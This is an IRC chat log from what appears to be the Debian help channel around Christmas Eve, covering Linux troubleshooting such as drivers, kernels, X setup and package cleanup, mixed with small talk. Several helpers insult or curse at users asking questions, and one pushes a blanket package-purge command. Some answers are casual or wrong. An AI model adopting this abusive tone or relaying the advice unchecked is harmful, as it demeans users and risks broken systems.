| 09:00.01 | teledyn | hmm, i know i can but a lcd from a supplier that's 1900x res for $450 |
| 09:00.01 | Guerin | threw: you need to get a good crt, or a big crt running at less than maximum resolution |
| 09:00.11 | Guerin | threw: the english would be `eye strain' |
| 09:00.30 | rahul | teledyn: is it worth even buying? |
| 09:00.47 | threw | Guerin: hey ok, but where to get a good CRT in an European website ? i dontr success to find any |
| 09:00.50 | rahul | teledyn: one of those 18 bit color jobbies? |
| 09:00.51 | Guerin | threw: most modernish crts can do refresh rates arounf 85hz vertical - but usually not at their top resolution |
| 09:00.55 | threw | ok, thanks for the word |
| 09:01.02 | teledyn | rahul: its for a thinkpad z61p |
| 09:01.24 | rahul | teledyn: "for" a laptop? |
| 09:01.31 | Guerin | threw: for instance, this humble philips 107s does 1152x864@75hz |
| 09:01.39 | Guerin | which is fine |
| 09:01.55 | Guerin | if I were to crank it up to 1200x1600, it's running at 60hz, which is not so good |
| 09:02.08 | teledyn | rahul: yes |
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| 09:02.18 | rahul | teledyn: wtf does that mean? |
| 09:02.31 | rahul | how can you have a monitor that's "for" a specific computer? |
| 09:02.45 | Guerin | rahul: DRM? |
| 09:02.48 | Guerin | <heh> |
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| 09:02.51 | rahul | heh |
| 09:03.00 | teledyn | google for IBM part 13N7178 and you'll see a few places have it for $450 |
| 09:03.08 | cusco | what do I need to get cpufreq working? |
| 09:03.10 | cusco | analyzing CPU 0: no or unknown cpufreq driver is active on this CPU |
| 09:03.12 | Guerin | rahul: i'm sorry, sir. Your computer's display is not certified. Downscaling to EGA |
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| 09:04.10 | rahul | teledyn: um, that's a PANEL, not a monitor |
| 09:04.17 | rahul | teledyn: it's a replacement _part_ |
| 09:04.22 | Guerin | whee, there are few things on god's green earth which stink more than kitten shite |
| 09:04.39 | teledyn | rahul: yes, but that's the most expensive component and reflects the baseline price |
| 09:05.11 | rahul | teledyn: and it's only 15 inches diagonally |
| 09:05.16 | teledyn | 15.4 |
| 09:05.24 | Guerin | at 1900 poixels wide? |
| 09:05.27 | Guerin | that's absurd |
| 09:05.31 | teledyn | yeah |
| 09:05.36 | teledyn | wuxga |
| 09:05.44 | Guerin | most graphics cards won't drive that anyway |
| 09:05.54 | Guerin | and lcds are terrible to resize |
| 09:06.04 | Guerin | err, you know |
| 09:06.09 | Guerin | run at !native resolution |
| 09:06.24 | teledyn | i'm seeing some 17" in ebay for around $200 |
| 09:06.37 | teledyn | yeah you just use larger fonts |
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| 09:07.31 | teledyn | and of course you can set the screen size and/or dpi settings for x |
| 09:08.59 | teledyn | e.g. DisplaySize 305 228 |
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| 09:10.36 | Guerin | mm, samurai jack, or invader zim |
| 09:10.37 | teledyn | i'm just saying - if you're going to invest a sizable amount of money on a monitor, consider HD 1080i because its coming |
| 09:10.43 | Guerin | such are the important questions |
| 09:10.54 | Guerin | 1080i is still a waste of money |
| 09:11.03 | teledyn | yeah right now, but in a couple years... |
| 09:11.10 | Guerin | until it becomes a standard part of commodity hardware, it's pointless |
| 09:11.17 | Guerin | so buy in a couple years |
| 09:11.24 | teledyn | yeah |
| 09:11.30 | teledyn | i wouldn't argue with that |
| 09:11.36 | Guerin | OMG, how have we survived our whole lives with only analogue TV and VHS!!!1 |
| 09:12.12 | teledyn | i can say, since i switched to a laptop with 1400x1050, i could never go back to XGA |
| 09:12.27 | teledyn | i was even nervous before switching, but there's no comparision |
| 09:12.49 | Guerin | looking at the big sony plasma TVs which were ~$5k three years ago and are ~$2k now - if you bought one three years ago, you effectively paid $1000 per year rent-to-own on it |
| 09:13.12 | Guerin | yeah, computing is one thing |
| 09:13.16 | kspath | and the newer ones are often much better |
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| 09:13.35 | Guerin | but for video it's stupid |
| 09:13.52 | Guerin | sure it's *nice*, but strictly for people with more dollars than sense |
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| 09:14.23 | teledyn | i'm not a huge video fan, except for the occasional anime avi or whatever, and all of those are low-res |
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| 09:14.45 | teledyn | would love to have a decent projector though :-) |
| 09:14.51 | teledyn | watch anime on the ceiling |
| 09:15.14 | Guerin | yeah, a projector could have benefits, but mostly for its greater flexibility |
| 09:15.22 | Guerin | and insanely huge screenability |
| 09:16.08 | Guerin | when I was at film skool people used to sneak into the lecture theatres and play quake on the projector screens |
| 09:16.19 | Guerin | until they got busted :( |
| 09:16.28 | teledyn | sounds fun |
| 09:16.35 | teledyn | if dizzying |
| 09:16.47 | sussudio | it's all fun and games until someone gets fragged. |
| 09:16.49 | teledyn | i'd probably walk in the room and vomit |
| 09:16.58 | Guerin | that's the sort of thing that happens when you give film students keys to the green room so they can `workshop' |
| 09:17.27 | teledyn | i'm one of those people they make the warning labels for |
| 09:17.49 | teledyn | 4 hour migraines after 10 bad minutes of motion |
| 09:17.55 | Guerin | yipes |
| 09:18.00 | sussudio | teledyn: http://www.nata2.info/humor/flash/rgb.swf |
| 09:18.08 | Guerin | i get migraines, but not from vision |
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| 09:18.37 | chab | hi |
| 09:18.39 | chab | whats the latest stable version of debian ? |
| 09:18.49 | Guerin | chab: sarge, 3.1 |
| 09:18.56 | Guerin | r4, I think |
| 09:18.59 | chab | thanks Guerin |
| 09:19.00 | teledyn | dang i don't have a flash playing app |
| 09:19.05 | chab | there is a current folder also |
| 09:19.15 | Guerin | chab: it should be a symlink to that release |
| 09:19.26 | chab | what kernel uses this r4 ? |
| 09:19.32 | Guerin | if it's not, then debiankind is in for a christmas present |
| 09:19.40 | Guerin | chab: your choice of 2.4.27 or 2.6.8 |
| 09:20.00 | chab | and how do i choose to install the 2.6 ? |
| 09:20.19 | Guerin | chab: read the install guide, or press f1 when booting the cd |
| 09:20.25 | chab | thanks |
| 09:20.29 | chab | ill try it now |
| 09:20.30 | chab | brb |
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| 09:21.14 | teledyn | Guerin: i get those kinds too |
| 09:21.44 | Guerin | teledyn: which kinds? |
| 09:21.52 | teledyn | non-vision migraines |
| 09:22.06 | Guerin | mostly mine are caused by sleepdep, stress, exhaustion, shock |
| 09:22.23 | Guerin | i got wicked migraines after my car accidents, despite being entirely uninjured |
| 09:22.50 | Guerin | thankfully rare |
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| 09:23.48 | teledyn | yeah i only usually get them when i eat wrong |
| 09:23.57 | teledyn | or od on caffeine or something |
| 09:24.20 | Guerin | mine build slowly and last for days |
| 09:24.21 | phliver | im not sure if anybody is familiar w/ this. but i have a brand new debian install on my notebook. i had x working at one point, but now when i do startx i get this message: (EE) AIGLX: Screen 0 is not DRI capable |
| 09:24.39 | Guerin | so I do sometimes get a chance to avoid them if I'm p[aying attention |
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| 09:24.41 | phliver | its a really old notebook, i don't want AIGLX. |
| 09:24.56 | Guerin | phliver: what video card and driver? |
| 09:24.57 | phliver | uses an ati mobility card. |
| 09:25.08 | phliver | Guerin: i install xserver-xorg-video-ati |
| 09:25.09 | Guerin | using `radeon' driver? |
| 09:25.10 | [pacha] | When i try to install debian a message with no particionable discs appers? |
| 09:25.14 | Guerin | mm |
| 09:25.19 | Guerin | !drxx phliver |
| 09:25.19 | dpkg | phliver: dpkg-reconfigure xserver-xfree86 [or xserver-xorg if you're using X.org] (as root). If you have edited the X config file by hand, or used some other program like xf86config, ask me about <xmd5> |
| 09:25.24 | Guerin | try that ↑ |
| 09:25.34 | Guerin | [pacha]: sata? |
| 09:25.41 | [pacha] | yes |
| 09:25.46 | phliver | Guerin: i did, i'll try it again.. |
| 09:25.50 | Guerin | [pacha]: /msg dpkg sarge 2.6.18 |
| 09:26.14 | Guerin | phliver: ok, i don't know anything specifica about aiglx, so it might be some new retardation. |
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| 09:26.23 | dn4 | how do I compile nvidia kernel modules? |
| 09:26.29 | dn4 | on Etch |
| 09:26.31 | Guerin | dn4: /msh dpkg nvidia one liner |
| 09:26.34 | Guerin | oh |
| 09:26.43 | Guerin | it's not in etch, so i don't know what you do |
| 09:27.18 | Guerin | my advice would be to give up on 3d until some video card company stops being eejits |
| 09:27.31 | Guerin | then to patronise that company heavily |
| 09:27.34 | phliver | Guerin: thanks for the suggestions |
| 09:27.43 | Guerin | phliver: welcome |
| 09:28.03 | dn4 | I was thinking there would be a way to make the modules from /usr/src/linux && /usr/src/modules/nvidia-kernel/nv |
| 09:28.37 | Guerin | probably a saner way would be to just get the modules from sid |
| 09:28.53 | dn4 | sid? |
| 09:29.09 | Guerin | dn4: /msg dpkg sid faq |
| 09:29.28 | teledyn | isn't there a standalone player for flash files? |
| 09:29.58 | teledyn | not xine, not vlc, not realplay |
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| 09:31.13 | Guerin | teledyn: gnash, but it isn't very complete |
| 09:31.19 | Guerin | in fact |
| 09:31.29 | Guerin | one could argue it's utterly nonfunctional |
| 09:31.41 | teledyn | hehe |
| 09:31.54 | teledyn | in that case |
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| 09:32.35 | Suprano | Hi |
| 09:32.35 | Suprano | i can'T get alsa running... see http://paste.debian.net/18988 |
| 09:32.35 | Guerin | teledyn: though it does work for some things |
| 09:32.35 | Guerin | teledyn: http://homestarrunner.com/welcome.swf, fx |
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| 09:33.16 | dn4 | I just got pwned hehehe |
| 09:33.20 | dn4 | off to read |
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| 09:33.57 | ndowens | Suprano: have u tried to get a newer kernel to see if it helps |
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| 09:34.13 | Suprano | not yet |
| 09:34.43 | Suprano | i'll try it now, rebooting |
| 09:34.45 | Guerin | Suprano: are you using 2.4? |
| 09:34.48 | Guerin | mm |
| 09:34.58 | Guerin | i guess it's a 2.4+wrong alsa modules problem |
| 09:35.34 | ndowens | Guerin: was gonna tell him that's what i'd try, b/c that many module errors is strange |
| 09:35.36 | teledyn | i have a question: is that first swf that sussudio provided the link to, designed to induce seizures? |
| 09:36.08 | teledyn | 'cause i did finally get it to play... |
| 09:36.27 | teledyn | thinking of finding someone to hold onto my tongue... |
| 09:37.35 | cahoot | intriguing mental picture |
| 09:38.12 | teledyn | the fact that "humor" is part of the URL makes me wonder if seeing people going into grand mal convulsions is laughter inducing |
| 09:38.21 | teledyn | :-) |
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| 09:52.33 | quitte | can someone please check if http://hg.recoil.org works for him? |
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| 09:53.21 | szaszka | Hi People! |
| 09:54.40 | szaszka | For first time in my life i compiled a kernel. I think, that all with compile all was OK. But I have problems creating the initrd. |
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| 09:55.18 | Kevin` | why do you need an initrd, szaszka ? |
| 09:55.38 | szaszka | I used mkinitramfs, and the image was created, but after I put it in the grub menu.lst, when I try to boot, it says that no such file or directory (Error 15) |
| 09:55.45 | szaszka | (Not sure about the error message) |
| 09:55.53 | dn4 | http://paste.linux-vserver.org/822 <-- ideas? |
| 09:55.56 | szaszka | Kevin: I don't now :-) |
| 09:56.04 | szaszka | know |
| 09:56.33 | Kevin` | szaszka no such file or directly seems rather straightforward. you only need an initrd if the kernel can't mount the root filesystem by itself. |
| 09:56.43 | szaszka | I just want to boot my kernel (because the one that comes with distribution can't handle my integrated network card |
| 09:56.48 | Kevin` | lvm or crazy configurations nobody thought of before |
| 09:57.49 | szaszka | Kevin: I tried to comment out the the initrd line, but the kernel stopped at the mounting root step |
| 09:57.56 | Kevin` | the reason debian uses an initrd with the premade kernels is so the kernel itself only needs to include generic drivers, scripts detect and load drivers for whatever hardware you have |
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| 09:58.25 | szaszka | How can I make an initrd? |
| 09:58.27 | Kevin` | szaszka stopped with what message |
| 09:58.35 | Kevin` | an initrd is just a filesystem image |
| 09:59.04 | Kevin` | initramfs is a gpio archive of files |
| 09:59.15 | Kevin` | and is more efficient then an image |
| 09:59.18 | szaszka | I don't remember exactly, something mounting root... but next time I will write down |
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| 10:00.04 | szaszka | So you suggest me, to try to boot the kernel whitout the initrd and write down the message when the kernel stops? |
| 10:00.09 | Kevin` | yes |
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| 10:00.26 | szaszka | Ok, back in five minutes! (Thanks for your help)! |
| 10:00.29 | Kevin` | most likely you didn't include the hardware support to find your hard drive or whatever |
| 10:01.08 | szaszka | I used the config file of previous kernel (the one that comes with distribution and works fine except the network adapter) |
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| 10:01.21 | Kevin` | that's designed to work with an initrd |
| 10:01.27 | szaszka | Aham... |
| 10:01.31 | szaszka | Then? |
| 10:03.20 | szaszka | I think that I still have to create an initrd |
| 10:03.40 | dn4 | oh snap |
| 10:03.45 | Kevin` | either create one or configure the kernel so you don't need to. |
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| 10:06.41 | szaszka | thanks for help again! |
| 10:06.46 | szaszka | gye |
| 10:06.53 | szaszka | -g +b |
| 10:07.02 | cusco | Gge: what card do you have? |
| 10:07.18 | Gge | Latop acer 1650 |
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| 10:07.40 | Gge | for wi-fi , wait & mn |
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| 10:09.39 | Gge | intel pro wireless 2200/2915 |
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| 10:11.21 | liable | 2915? |
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| 10:11.43 | Gge | it is what dmesg said |
| 10:12.55 | liable | Gge: 2200 is supported by the kernel, i think you just need to get firmware for it |
| 10:13.00 | cusco | Gge: ipw2200 |
| 10:13.42 | cusco | !ipw2200 |
| 10:13.42 | dpkg | rumour has it, ipw2200 is a driver for Intel wireless cards. It's built into kernels >= 2.6.15 and only compiles on a 2.6 kernel. If you need to build, you'll need module-assistant, build-essential and kernel-headers-$(uname -r) packages, and contrib sources (ask me about <contrib>). To install: m-a prepare && m-a a-i ieee80211 ipw2200. Ask me about <ipw2200 firmware>. Project page: http://ipw2200.sourceforge.net |
| 10:13.43 | Gge | 2200BG |
| 10:13.52 | Gge | yes ipw2200 |
| 10:14.25 | liable | !tell Gge about ipw2200 firmware |
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| 10:15.31 | Gge | So I should have it in etch rc1 |
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| 10:15.49 | Gge | I need to look closely to dmesg output |
| 10:16.16 | liable | Gge: see what dpkg (the bot) told you |
| 10:16.26 | liable | Gge: in private msg |
| 10:17.11 | Gge | Got it ... reading it |
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| 10:17.44 | chab | Guerin |
| 10:17.49 | chab | i installed 2.6.8 |
| 10:17.52 | chab | but x wotn start |
| 10:17.56 | chab | wont* |
| 10:18.18 | chab | how do i install nvidia drivers ? |
| 10:21.31 | liable | chab: have you built them for the old kernel? |
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| 10:22.08 | chab | liable i just installed debian using 2.6.8 kernel from the installation cd |
| 10:22.21 | chab | but gdm wont start |
| 10:22.30 | chab | it seems like X is misconfigured |
| 10:22.44 | chab | and i thought maybe if i install the nvidia drivers , this would fix the problem |
| 10:23.01 | liable | chab: no, first get it working with the nv module |
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| 10:23.06 | liable | !drxx chab |
| 10:23.07 | dpkg | chab: dpkg-reconfigure xserver-xfree86 [or xserver-xorg if you're using X.org] (as root). If you have edited the X config file by hand, or used some other program like xf86config, ask me about <xmd5> |
| 10:23.21 | chab | ok |
| 10:23.23 | liable | chab: chose nv as the video driver |
| 10:23.31 | chab | thanks |
| 10:23.35 | chab | i did |
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| 10:23.53 | liable | chab: then you prolly fuxored the mouse one |
| 10:23.59 | liable | chab: what kind of mouse? |
| 10:24.20 | chab | ps2 |
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| 10:24.33 | chab | ordinary one |
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| 10:25.09 | chab | listen , when i try to install the nvidia drivers that i got from nvidia.com , it says that i need kernel-ource |
| 10:25.13 | chab | source* |
| 10:25.16 | chab | and kernel-dev |
| 10:25.30 | chab | how do it install them ? |
| 10:25.47 | Kevin` | !nvidia |
| 10:25.47 | dpkg | methinks nvidia is DO NOT use nvidia.com's installer. Ask me about "nvidia installer". Instead, read "nvidia-graphics-drivers" for instructions, or "nvidia one-liner" for a reminder if you've done it before. "Off to break the nvidia driver by changing the kernel interfaces again, this is becoming a fun hobby..." - Greg Kroah-Hartman, Linux kernel hacker, on linux-elitists Intell now provides spec'd accelerated GPUs. |
| 10:25.49 | Kevin` | looks useful |
| 10:25.49 | liable | if you cant get x started now, using the nvidia drivers isnt going to help |
| 10:26.04 | chab | i know |
| 10:26.09 | chab | just wanted to know that too |
| 10:26.30 | chab | brb |
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| 10:26.34 | chab | i need to boot into debian |
| 10:26.36 | Kevin` | chab i think the package is linux-source-someversion |
| 10:26.45 | Kevin` | to answer your question |
| 10:26.55 | chab | Kevin` thanks , ill try that too |
| 10:26.56 | chab | brb |
| 10:27.11 | Kevin` | might be wrong, as I always use the stuff from kernel.org |
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| 10:31.24 | Diamond | Hi fellows |
| 10:31.28 | Diamond | i have a question |
| 10:31.40 | Diamond | i have installed debian sarge r3 |
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| 10:31.54 | Diamond | does anyone know the apt-get download for the command mail |
| 10:32.07 | maxxle | I've only a .img file for a DVD (4,4GB). How can I burn this? Gnomebaker and k3b don't support this i think!? |
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| 10:32.29 | Diamond | example command : mail "adress" and then the tekst |
| 10:32.40 | Diamond | it whas in my old debian install |
| 10:32.53 | Diamond | but the mail command doesn't work anymore |
| 10:33.23 | Diamond | does anyone know the name of that package ? |
| 10:34.07 | putridp | I need to merge several contiguous logical partitions, which currently mount as '/', '/var', '/usr' and '/tmp'. Does this seem a sensible way to do it: copy the data onto another spare partition. Boot using a live-cd. Run qtparted to merge the partitions. Copy the data back to the new partition. Edit /etc/fstab appropriately. Boot as normal. |
| 10:34.20 | Diamond | its a simple question |
| 10:34.39 | Diamond | do you know what i mean by saying the mail command ? |
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| 10:34.43 | maxxle | mailutils |
| 10:34.51 | maxxle | Diamond: maybe you check this one? |
| 10:34.55 | Diamond | ok |
| 10:34.56 | Diamond | thnx |
| 10:35.11 | maxxle | Diamond: mailutils - GNU mailutils utilities for handling mail |
| 10:35.32 | Diamond | ok thnx |
| 10:35.35 | Diamond | felows |
| 10:35.36 | Diamond | :)) |
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| 10:37.16 | RolandU_ | hi all! In cfdisk, what is the difference between FAT32 and FAT32 LBA? |
| 10:37.22 | chab | ok |
| 10:37.24 | chab | its running |
| 10:37.26 | chab | now i need the drivers |
| 10:37.47 | chab | Fat32 is win32 file format |
| 10:37.50 | maxxle | Diamond: You should check package mailx as well...... dpkg -S mail | grep /usr/bin/mail: mailx: /usr/bin/mail |
| 10:38.30 | RolandU_ | chab, and what's LBA? |
| 10:38.44 | chab | im not sure |
| 10:38.54 | chab | anyways its a win32 partition |
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| 10:39.27 | chab | logical block |
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| 10:39.32 | chab | logical block adressing |
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| 10:39.40 | chab | its a win32 logical partition |
| 10:39.42 | quitte | RolandU_: when disks became bigger they couldn'T be addressed by the bios via chs anymore. so a new scheme to address the data was introduced: lba. logical block something. afaict its the only thing used for ide nowadays |
| 10:39.51 | fasta | Where's the uninstallation information stored for Debian packages? |
| 10:40.00 | RolandU_ | quitte, thanks |
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| 10:40.44 | RolandU_ | quitte, is one partition FAT32 LBA of 160 GB ok or is that too large? |
| 10:40.55 | esteel | Merry x-mas :) |
| 10:41.02 | quitte | i don'T know the limits of fat, sorry |
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| 10:41.19 | RolandU_ | ok, thanks |
| 10:41.25 | maxxle | quitte: Isn't 8GB the magic number? |
| 10:41.38 | maxxle | quitte: for fat16 i think |
| 10:42.53 | RolandU_ | i know that fat32 will be able to manage 160gb, I am just afraid of the block size |
| 10:43.10 | quitte | i really don'T know. and i don'T care. i still make a small primary partition for /boot. so i dont have to worry at all |
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| 10:44.21 | RolandU_ | ok, will have to reboot now. Happy holidays! cya |
| 10:44.26 | galois- | lo all, what is the command to list the space used by directories under /blah/ df appears to just list drive useage |
| 10:44.38 | maxxle | alois-: du . -hs |
| 10:44.47 | galois- | maxxle: thanks |
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| 10:45.13 | Ubuh-Huntuh | anyone here got call of duty on xbox? |
| 10:45.18 | quitte | sigh. not even the wayback mchine has hg.recoil.org. |
| 10:46.17 | chab | how do i install the drivers |
| 10:46.24 | chab | they are in the non-free repository |
| 10:46.52 | quitte | chab: m-a a-i nvidia |
| 10:47.31 | chab | sorted |
| 10:47.32 | fasta | How do I delete all files from /var/cache/apt/archives ? rm *.deb says it is given too much arguments. ls|xargs rm gives me: |
| 10:47.32 | chab | thanks |
| 10:47.46 | quitte | fasta: apt-get clean |
| 10:47.49 | fasta | rm: cannot remove `\033[0mbase-files_4_i386.deb\033[0m': No such file or directory |
| 10:48.07 | fasta | quitte: ok |
| 10:48.13 | chab | lol |
| 10:48.14 | chab | command not found |
| 10:48.27 | liable | install module-assistent |
| 10:48.32 | quitte | chab: did you read what dpkg wrote you? |
| 10:48.37 | chab | yes |
| 10:48.41 | chab | oh |
| 10:49.06 | chab | i didnt noticed |
| 10:49.12 | fasta | Arbitrary limits :( |
| 10:49.13 | galois- | fasta: or use aptitute menus for a nice gui |
| 10:49.22 | pstickne | fasta, you are getting stupid color from s |
| 10:49.29 | pstickne | fasta, use --color=auto or --color=no |
| 10:49.33 | pstickne | "from ls" |
| 10:49.43 | fasta | pstickne: ah, ok |
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| 10:50.34 | _zap_ | does anybody know some web based video chat software (flash, java, ...)? ashcast seems to be one (just found it). what can you recommend? |
| 10:51.11 | chab | quitte, |
| 10:51.21 | chab | i need to add something in the source.list |
| 10:51.35 | chab | the non-free repository or some |
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| 10:52.21 | quitte | chab: /msg dpkg non-free sources |
| 10:52.34 | liable | chab: have you not learnt to use google yet? |
| 10:52.50 | chab | of course i did |
| 10:52.56 | chab | but im too tired and my english is bad |
| 10:53.22 | chab | i need to read a line like 5 ot 6 times to understand |
| 10:53.54 | fasta | chab: what's your native language? |
| 10:53.58 | chab | romanian |
| 10:54.30 | chab | the thing is that i dont have any non-free link in source.list |
| 10:54.59 | chab | oh |
| 10:55.11 | chab | as i said , i need to read 5 times |
| 10:55.22 | debian-san | _zap_: How about flashmeeting.com. I had a meeting with 6 people 2 weeks ago. It was not that bad. |
| 10:57.04 | _zap_ | debian-san: hm, it seems you cannot download the software. i want to run it on my own webserver |
| 10:57.44 | debian-san | _zap_: Ah ok. |
| 10:57.52 | chab | reboot |
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| 10:59.52 | quitte | if someone happens to have a copy of openbsd-xen-sys - please give it to me |
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| 11:10.57 | tom_ | hey guys, whats a tool to format hard disks with in gnome? |
| 11:11.13 | pstickne | gparted can do it I think. |
| 11:11.34 | tom_ | pstickne: cheers |
| 11:11.35 | Tchaka | in the sed command : sed 's?\[?/?g' for what is used the "?" ? please |
| 11:11.51 | AbortD | liar |
| 11:11.59 | pstickne | Tchaka, regex delimiters |
| 11:12.02 | jatt | uh |
| 11:12.11 | AbortD | its sed 's?\[?/?f' |
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| 11:12.39 | pstickne | Tchaka, to avoid the leaning toothpick problem... s/\[/\/g #eg |
| 11:12.53 | Tchaka | sed 's?\[?/?g works in my case |
| 11:12.54 | pstickne | oops, and I'm missing a / |
| 11:13.21 | pstickne | gnu option? :) |
| 11:13.41 | Tchaka | but I don't know what "?" makes exactly |
| 11:14.01 | Tchaka | pstickne, okay I'm going to test this |
| 11:14.01 | AbortD | it makes u shut the fuck up |
| 11:14.03 | AbortD | now do it |
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| 11:14.23 | szaszka | Hi again! |
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| 11:14.42 | pstickne | Tchaka, it's a delimeter. instead of using / they chose to use ?. compare s?\[?/? and s/\[/\// |
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| 11:14.59 | pstickne | Tchaka, they are the same. One looks (slightly) better. |
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| 11:16.16 | Tchaka | pstickne, indeed it's the same result with both commands |
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| 11:16.52 | phated | Shocking, how something someone told you could actually be correct. |
| 11:17.01 | Tchaka | pstickne, thank you for your explanation |
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| 11:22.36 | szaszka | I need a little help again: http://pastebin.ca/290807 |
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| 11:24.07 | bowman | heya. has anyone seen a Trust WB-5400 webcam running on Linux? I'm trying to detect the chipset, but no success so far. |
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| 11:25.03 | szaszka | How is decided, what modules are loaded when the kernel starts? |
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| 11:31.48 | liable | arghh, TV is teh suxor on xmas eve |
| 11:32.22 | cahoot | good to have irc then |
| 11:32.55 | liable | indeed, i am not even watching telly, but the carols in the background are driving me nuts :) |
| 11:33.32 | cahoot | resistance is futile |
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| 11:35.25 | liable | assimilation is futile!! :) |
| 11:35.49 | rsmith16384 | hello liable |
| 11:36.26 | liable | er, hello. and i guess, merry fucking xmas :) |
| 11:36.32 | rsmith16384 | :) |
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| 11:38.15 | liable | oh, ET is on telly, that takes me back a decade or two |
| 11:38.15 | maxxle | Not a good day today? |
| 11:39.35 | rsmith16384 | anyone running boinc? |
| 11:39.47 | rsmith16384 | im looking for et right now |
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| 11:41.21 | DUAL_MAN | what is pbx-config? |
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| 11:41.36 | liable | rsmith16384: i am not in the .us |
| 11:41.41 | rsmith16384 | sounds like an asterik package? |
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| 11:42.14 | rsmith16384 | where from? |
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| 11:42.49 | liable | .au |
| 11:43.11 | rsmith16384 | cool |
| 11:43.26 | norc | How do I use bitmap fonts (.fon) in X, or how do I convert bitmap fonts into pcf formatß |
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| 11:43.35 | rsmith16384 | some day id love to see your stars |
| 11:43.56 | liable | southern cross and shit?? |
| 11:44.02 | rsmith16384 | yea |
| 11:44.19 | efaistos | ap/le |
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| 11:44.22 | liable | ok, go out bush and they are pretty impressive |
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| 11:45.17 | wizard123 | hi. |
| 11:45.18 | rsmith16384 | anyone using ipv6? |
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| 11:45.42 | wizard123 | i want to clean my system frm unneeded packages using deborphan |
| 11:45.54 | wizard123 | is there any nice frontend for it? |
| 11:46.03 | wizard123 | for example asking what to remove? |
| 11:46.22 | rsmith16384 | kind of like add/remove programs for windows? : |
| 11:46.22 | rsmith16384 | ) |
| 11:46.38 | wizard123 | no.. rather pkg_cutleaves from freebsd |
| 11:46.45 | liable | wizard123: nafaik |
| 11:46.58 | rsmith16384 | :) |
| 11:47.02 | wizard123 | ok.. so i have to write it by myself :) |
| 11:47.52 | rsmith16384 | wow i never seem to keep a linux installation long enough to have to deal with things like that |
| 11:48.13 | norc | If I pipe something in the terminal to less ( locate foo | less for example), then it only shows a few lines |
| 11:48.19 | norc | way less than locate foo actually throws out |
| 11:48.20 | wizard123 | i installed some stange debian clone.. it uses debian repos |
| 11:48.24 | norc | any idea why? |
| 11:48.48 | wizard123 | now i want to clean it from unneeded crap :) |
| 11:49.15 | Mazingaro | hi |
| 11:49.28 | tarzeau | wizard123: deborphan? dpigs? |
| 11:49.43 | wizard123 | i know deborphan |
| 11:49.59 | wizard123 | now i need a script wchich will parse data from it |
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| 11:50.35 | wizard123 | copy and paste on deborphan is not very comfortable |
| 11:51.08 | tarzeau | wizard123: apt-get --purge remove `deborphan` ? |
| 11:51.17 | tarzeau | wizard123: you know you have a SHELL, not cmd.exe |
| 11:51.28 | wizard123 | i know :) |
| 11:51.35 | wizard123 | and wtf is cmd.exe? |
| 11:51.38 | tarzeau | wizard123: then deborphan is very comfortable? |
| 11:51.47 | tarzeau | cmd.exe doesn't do backtick stuff? |
| 11:51.52 | tarzeau | wizard123: the windows shell |
| 11:51.55 | wizard123 | yuck |
| 11:53.04 | wizard123 | ok, so i'll write something like pkg_cutleaves, using data from deborphan |
| 11:53.09 | wizard123 | see.. i have cutleaves installed on all my freebsd servers.. and it works great and allows me to keep my system clean |
| 11:53.18 | wizard123 | i wanted the same on my debian laptop :) |
| 11:53.32 | wizard123 | but if such tool does not exist.. i'll write it |
| 11:54.09 | wizard123 | thanks for help :) |
| 11:55.40 | tarzeau | wizard123: HUH? |
| 11:55.48 | tarzeau | wizard123: can you not just copy paste: apt-get --purge remove `deborphan` |
| 11:55.55 | tarzeau | ARE YOU NUTS? |
| 11:56.14 | wizard123 | but deborphan lists some software that i use |
| 11:56.18 | tarzeau | ahhh the merry-christmas-super-weekend-idiots |
| 11:56.25 | tarzeau | wizard123: then |grep -v them |
| 11:56.33 | tarzeau | MAN WHO GAVE YOU THE DAMN COMPUTER? |
| 11:56.42 | wizard123 | omg |
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| 11:56.51 | simonrvn | stop shouting at least |
| 11:56.57 | pyrics | how to install php in debian? |
| 11:56.57 | wizard123 | tarzeau: could you stop insulting me |
| 11:57.04 | pyrics | do i need apache? |
| 11:57.19 | tarzeau | wizard123: you could stop telling debian is crap, when you are not smart enough to grep -v stuff that you want to keep |
| 11:57.30 | tarzeau | pyrics: no, php can work without apache |
| 11:57.40 | pyrics | ok |
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| 11:58.13 | wizard123 | tarzeau: grepping and manually pointing one between 2000 of packages is pointless |
| 11:58.26 | wizard123 | that's what i did before |
| 11:58.31 | tarzeau | wizard123: deborphan lists you 2000 packages? |
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| 11:58.38 | wizard123 | allmost |
| 11:58.49 | tarzeau | THEN you do something seriousl wrong |
| 11:58.55 | wizard123 | deborphan -a |
| 11:59.09 | tarzeau | did i say deborphan -a ? i said deborphan |
| 11:59.11 | pyrics | i wanna create a irc bot/script, witch langugage is easyest? bash? perl(looks dificicult) or what? |
| 11:59.20 | wizard123 | oh my god |
| 11:59.22 | wizard123 | enough.. |
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| 11:59.44 | wizard123 | thanks for calling me idiot |
| 11:59.53 | tarzeau | i thought wizards are smart |
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| 12:00.57 | liable | good idea |
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| 12:05.01 | dpkg | Debian Package/File/Desc Search of 'mach64.ko' returned no results. |
| 12:05.01 | dpkg | Debian Package/File/Desc Search of 'zd1201' returned no results. |
| 12:05.05 | liable | !qotd0 |
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| 12:05.18 | liable | eek |
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| 12:07.50 | Quibus | Hi. Does anyone know if Sven Arvidsson is on IRC? |
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| 12:08.51 | JB[away] | !bug 404194 |
| 12:08.51 | dpkg | bug 404194 can be viewed at http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=404194 |
| 12:09.00 | JB[away] | anyone a idea how i can fix it? |
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| 12:09.43 | Quibus | Is there an aptitude variant of apt-get build-dep? |
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| 12:10.18 | JB[away] | ? |
| 12:10.48 | Quibus | JB[away]: sudo apt-get install --reinstall aptitude |
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| 12:11.09 | liable | eh? |
| 12:11.13 | blondie | cakes? |
| 12:11.21 | simonrvn | cookies? |
| 12:11.23 | liable | donuts! |
| 12:11.32 | simonrvn | frybread! |
| 12:11.44 | JB[away] | Quibus: very thanks ! |
| 12:11.59 | Quibus | JB[away]: does it help? |
| 12:12.01 | liable | hrm, beer ftw |
| 12:12.04 | JB[away] | yes |
| 12:12.12 | liable | though not technically food |
| 12:12.31 | Quibus | good |
| 12:12.31 | JB[away] | Quibus: all right now |
| 12:12.46 | blondie | liable: not ftw either ;) |
| 12:12.54 | simonrvn | dried strawberries! |
| 12:13.03 | Quibus | JB[away]: though, it should never have happened. |
| 12:13.11 | blondie | I am not |
| 12:13.26 | simonrvn | dried cranberries! |
| 12:13.32 | liable | blondie: well, you guys do drink it warm.. |
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| 12:13.40 | liable | prunes!! |
| 12:13.41 | blondie | liable: I most certainly do not |
| 12:13.46 | blondie | I don't drink it at all |
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| 12:13.56 | JockeTF | Merry christmas to you all and cya later. |
